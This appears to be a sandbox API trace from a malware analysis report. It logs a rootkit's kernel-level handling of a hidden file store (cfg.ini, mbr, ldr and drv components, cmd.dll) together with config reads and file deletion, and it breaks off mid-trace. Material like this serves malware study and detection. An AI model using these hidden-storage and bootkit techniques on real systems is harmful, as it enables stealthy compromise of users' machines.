returned 7 [0127.443] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.443] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.443] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1600 [0127.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.443] KeLeaveCriticalRegion () [0127.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.443] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.443] KeEnterCriticalRegion () [0127.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.443] KeLeaveCriticalRegion () [0127.443] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.443] KeEnterCriticalRegion () [0127.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.443] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.443] IdePortDispatch () returned 0x103 [0127.445] KeWaitForMutexObject () returned 0x0 [0127.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.445] KeLeaveCriticalRegion () [0127.445] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.445] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.445] KeEnterCriticalRegion () [0127.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c3000 [0127.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.445] IdePortDispatch () returned 0x103 [0127.445] KeWaitForMutexObject () returned 0x0 [0127.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.445] IdePortDispatch () returned 0x103 [0127.446] KeWaitForMutexObject () returned 0x0 [0127.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.446] KeLeaveCriticalRegion () [0127.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.446] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.446] KeEnterCriticalRegion () [0127.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] KeLeaveCriticalRegion () [0127.447] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.447] KeEnterCriticalRegion () [0127.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.447] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e17b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] KeLeaveCriticalRegion () [0127.447] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.447] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.447] KeEnterCriticalRegion () [0127.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] ExFreePoolWithTag (P=0xfffffa80037e1600, Tag=0x0) [0127.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] KeLeaveCriticalRegion () [0127.447] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.447] ReleaseMutex (hMutex=0xf0) returned 1 [0127.447] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.447] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.447] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.447] KeEnterCriticalRegion () [0127.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.447] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.447] IdePortDispatch () returned 0x103 [0127.448] KeWaitForMutexObject () returned 0x0 [0127.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.448] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.448] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.448] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.448] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.448] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.448] KeLeaveCriticalRegion () [0127.448] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.448] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.448] KeEnterCriticalRegion () [0127.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.448] KeLeaveCriticalRegion () [0127.448] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.448] KeEnterCriticalRegion () [0127.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.448] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.448] IdePortDispatch () returned 0x103 [0127.449] KeWaitForMutexObject () returned 0x0 [0127.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.449] KeLeaveCriticalRegion () [0127.449] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.449] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.449] KeEnterCriticalRegion () [0127.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c4000 [0127.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.449] IdePortDispatch () returned 0x103 [0127.449] KeWaitForMutexObject () returned 0x0 [0127.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.449] IdePortDispatch () returned 0x103 [0127.449] KeWaitForMutexObject () returned 0x0 [0127.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.450] KeLeaveCriticalRegion () [0127.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.450] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.450] KeEnterCriticalRegion () [0127.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.450] KeLeaveCriticalRegion () [0127.451] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.451] KeEnterCriticalRegion () [0127.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.451] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.451] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.451] KeLeaveCriticalRegion () [0127.451] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.451] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.451] KeEnterCriticalRegion () [0127.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.451] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.451] KeLeaveCriticalRegion () [0127.451] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.451] ReleaseMutex (hMutex=0xf0) returned 1 [0127.451] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.451] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.451] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.451] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.451] KeEnterCriticalRegion () [0127.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.451] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.451] IdePortDispatch () returned 0x103 [0127.452] KeWaitForMutexObject () returned 0x0 [0127.452] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.452] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.452] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.452] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.452] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.452] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.452] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.452] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.452] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.452] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.452] KeLeaveCriticalRegion () [0127.452] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.452] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.452] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.452] KeEnterCriticalRegion () [0127.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.452] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.452] IdePortDispatch () returned 0x103 [0127.452] KeWaitForMutexObject () returned 0x0 [0127.453] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.453] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.453] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.453] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.453] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.453] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.453] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.453] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.453] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.453] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.453] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.453] KeLeaveCriticalRegion () [0127.453] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.453] ReleaseMutex (hMutex=0x100) returned 1 [0127.453] Sleep (dwMilliseconds=0x2bf20) [0127.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f2c1af0, dwHighDateTime=0x1d24fa4)) [0127.462] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.462] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.462] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.462] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.462] KeEnterCriticalRegion () [0127.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.462] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.462] IdePortDispatch () returned 0x103 [0127.462] KeWaitForMutexObject () returned 0x0 [0127.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.462] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.462] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.462] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.462] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.462] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1650 [0127.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.462] KeLeaveCriticalRegion () [0127.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.462] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.462] KeEnterCriticalRegion () [0127.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.462] KeLeaveCriticalRegion () [0127.463] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.463] KeEnterCriticalRegion () [0127.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.463] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.463] IdePortDispatch () returned 0x103 [0127.463] KeWaitForMutexObject () returned 0x0 [0127.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.463] KeLeaveCriticalRegion () [0127.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.463] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.463] KeEnterCriticalRegion () [0127.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c7000 [0127.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.463] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.463] IdePortDispatch () returned 0x103 [0127.464] KeWaitForMutexObject () returned 0x0 [0127.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.464] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.464] IdePortDispatch () returned 0x103 [0127.464] KeWaitForMutexObject () returned 0x0 [0127.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.464] KeLeaveCriticalRegion () [0127.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.465] KeEnterCriticalRegion () [0127.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.465] 